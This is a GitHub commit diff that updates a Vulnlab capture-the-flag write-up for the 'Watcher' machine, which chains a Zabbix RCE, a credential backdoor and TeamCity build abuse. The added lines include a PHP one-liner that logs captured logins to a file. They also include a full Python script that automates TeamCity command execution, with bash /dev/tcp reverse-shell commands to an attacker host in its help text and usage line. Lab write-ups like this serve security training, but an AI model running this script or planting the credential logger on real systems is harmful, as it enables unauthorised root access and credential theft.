Skip to content

Commit b80914e

Browse files
authored
Update Watcher.md
1 parent b499501 commit b80914e

File tree

1 file changed

+156
-12
lines changed

1 file changed

+156
-12
lines changed

vulnlab/machines/Watcher/Watcher.md

+156-12
Original file line numberDiff line numberDiff line change
@@ -3,15 +3,12 @@
33

44
## Machine Summary
55

6-
We first find a Zabbix instance which is a vulnerable version where we can gain RCE via `CVE-2024-22120`. After gaining a shell we can backdoor the application to gain the credentials of another user `Frank`. With that user we can login to an internal `TeamCity` instance, that runs as `root`. Where we can create a pipeline to gain a reverse shell as `root`.
6+
We first find a Zabbix instance which is a vulnerable version where we can gain RCE via `CVE-2024-22120`. After gaining a shell we can backdoor the application to gain the credentials of another user `Frank`. With that user we can login to an internal `TeamCity` instance, that runs as `root`. Where we can access the running agent on local port 9090 to open a terminal as root or create a pipeline to gain a reverse shell as `root`.
77

88
## Recon
99

10+
### Nmap
1011
```ad-summary
11-
title: NMAP
12-
collapse: open
13-
14-
```nmap
1512
nmap -sC -sV -p- --min-rate 1000 10.10.92.19 -oA watcher
1613
1714
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-25 20:02 CEST
@@ -33,13 +30,6 @@ PORT STATE SERVICE VERSION
3330
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
3431
```
3532

36-
```ad-important
37-
title: Domains
38-
collapse: open
39-
40-
- **watcher.vl**
41-
```
42-
4333
## Initial Access
4434
We are first presented with a normal website. We then perform subdomain enumeration:
4535
```
@@ -106,6 +96,11 @@ Then we get a request to our server after a few minutes:
10696
We now have creds:
10797
- `Frank`:`REDACTED`
10898

99+
You can also use this oneliner to get the creds in a file like `.loot` in the same folder as `index.php`
100+
```
101+
file_put_contents(".loot", $_POST['name'] . ":" . $_POST['password'] . "\n", FILE_APPEND);
102+
```
103+
109104
We can now use those creds to access Teamcity.
110105
<br>
111106
There is a agent running. Just open the terminal on this one and you can run system commands as root.
@@ -149,3 +144,152 @@ We can then read the flag from the root directory:
149144
(remote) [email protected]:/root# cat root.txt
150145
VL{REDACTED}
151146
```
147+
148+
All the steps can be automated.
149+
<br>
150+
Authenticate -> Create: project, build config and build step -> Run build with the agent.
151+
152+
```python
153+
#!/usr/bin/python3
154+
import os
155+
import requests
156+
import random
157+
from bs4 import BeautifulSoup
158+
import argparse
159+
160+
parser = argparse.ArgumentParser(description='RCE in TeamCity: Tested in TeamCity Professional 2024.03.3 (build 156364)')
161+
parser.add_argument('--url', required=True, help='http://localhost:8111',)
162+
parser.add_argument('--username', required=True, help='Name of the user',)
163+
parser.add_argument('--password', required=True, help='Password of the user',)
164+
parser.add_argument('--cmd', required=True, help="bash -c 'bash -i >& /dev/tcp/10.10.10.10/9001 0>&1'",)
165+
args = parser.parse_args()
166+
167+
S = requests.Session()
168+
headers = {
169+
'Content-Type': 'application/json',
170+
}
171+
n = random.randint(100,999)
172+
173+
r = S.get(args.url+'/login.html')
174+
soup = BeautifulSoup(r.text, 'lxml')
175+
tc_csrf_token = soup.find('meta', {'name':'tc-csrf-token'})['content']
176+
public_key = soup.find('input', {'name':'publicKey'})['value']
177+
print(f'publickey: {public_key}')
178+
179+
def login():
180+
r = S.get(args.url+'/httpAuth/app/rest/server', auth=(args.username, args.password), headers=headers)
181+
print(f'login() {r.status_code}')
182+
print(f'Login with user {args.username}:{args.password}')
183+
r = S.get(args.url+'/favorite/projects?mode=builds')
184+
soup = BeautifulSoup(r.text, 'lxml')
185+
tc_csrf_token = soup.find('input', {'name':'tc-csrf-token'})['value']
186+
print(f'CSRF Token: {tc_csrf_token}')
187+
return tc_csrf_token
188+
189+
def create_project():
190+
project = 'ProjectShell'+ str(n)
191+
data = {
192+
'parentId': '_Root',
193+
'name': project,
194+
'externalId': project,
195+
'description': '',
196+
'submitProject': 'store',
197+
'submitCreateProject': 'Create',
198+
'tc-csrf-token': tc_csrf_token,
199+
}
200+
r = S.post(args.url+'/admin/createProject.html', data=data)
201+
print(f'reate_project() {r.status_code}')
202+
print(f'Crate new Project: {project}')
203+
return project
204+
205+
def create_build_configuration():
206+
build_config = project + '_BuildConfig'
207+
data = {
208+
'parentProjectId': project,
209+
'buildTypeName': 'build_config',
210+
'buildTypeExternalId': build_config,
211+
'description': '',
212+
'-ufd-teamcity-ui-buildConfigurationType': 'Regular',
213+
'buildConfigurationType': 'REGULAR',
214+
'createBuildType': 'Create',
215+
'tc-csrf-token': tc_csrf_token,
216+
}
217+
r = S.post(args.url+'/admin/createBuildType.html', data=data)
218+
print(f'create_build_configuration() {r.status_code}')
219+
print(f'Create Build Configuration: {build_config}')
220+
return build_config
221+
222+
def create_build_step():
223+
build_step = 'cmd_'+str(n)
224+
data = {
225+
"runTypeInfoKey":"simpleRunner",
226+
"buildStepName":build_step,
227+
"newRunnerId":build_step,
228+
"prop:teamcity.step.phase":"",
229+
"-ufd-teamcity-ui-prop:teamcity.step.mode":"If all previous steps finished successfully",
230+
"prop:teamcity.step.mode":"default",
231+
"condition[]":"",
232+
"publicKey":public_key,
233+
"prop:teamcity.build.workingDir":"",
234+
"-ufd-teamcity-ui-prop:use.custom.script":"Custom script",
235+
"prop:use.custom.script":True,
236+
"prop:command.executable":"",
237+
"prop:command.parameters":"",
238+
"prop:script.content":args.cmd,
239+
"wrapToggle":"",
240+
"prop:log.stderr.as.errors":"",
241+
"prop:plugin.docker.imageId":"",
242+
"prop:plugin.docker.imagePlatform":"",
243+
"-ufd-teamcity-ui-prop:plugin.docker.imagePlatform":"<Any>",
244+
"prop:plugin.docker.run.parameters":"",
245+
"showDSL=&showDSLVersion":"",
246+
"showDSLPortable":"",
247+
"submitButton":"Save",
248+
"tc-csrf-token":tc_csrf_token,
249+
"numberOfSettingsChangesEvents":3
250+
}
251+
252+
r = S.post(args.url+f'/admin/editRunType.html?id=buildType:{build_config}&runnerId=__NEW_RUNNER__&submitBuildType=store', data=data)
253+
print(f'create_build_step() {r.status_code}')
254+
print(f'New Build Step: Command Line: {build_step}')
255+
return build_step
256+
257+
def run_build():
258+
data = {
259+
"buildTypeId":build_config,
260+
"redirectTo":"",
261+
"stateKey":"",
262+
"dependOnPromotionIds":"",
263+
"customBuildDialog":True,
264+
"forceAutoGeneratedBranch":"",
265+
"personalPatchUploaded":"",
266+
"-ufd-teamcity-ui-agentId":"<the fastest idle agent>",
267+
"agentId":"",
268+
"_personal":"",
269+
"file%3ApersonalPatch":"",
270+
"uploadPatch":True,
271+
"buildTypeId":build_config,
272+
"stateKey":"",
273+
"tc-csrf-token":tc_csrf_token,
274+
"_moveToTop":"",
275+
"_cleanSources":"",
276+
"ring-radio-0-7zy2":"ASAP",
277+
"buildComment":"",
278+
"buildTagsInfo":"",
279+
"_applyToChainBuilds":"",
280+
"addToFavorite":True,
281+
"_addToFavorite":""
282+
}
283+
r = S.post(args.url+'/runCustomBuild.html', data=data)
284+
print(f'run_build() {r.status_code}')
285+
print(f'Run Build...')
286+
287+
tc_csrf_token = login()
288+
project = create_project()
289+
build_config = create_build_configuration()
290+
build_step = create_build_step()
291+
run_build()
292+
```
293+
294+
Comamnd to run the script:
295+
* `./teamcity_rce.py --url http://localhost:8111 --username Frank --password 'REDACTED' --cmd "bash -c 'bash -i >& /dev/tcp/REDACTED/9002 0>&1'"`

0 commit comments

Comments
 (0)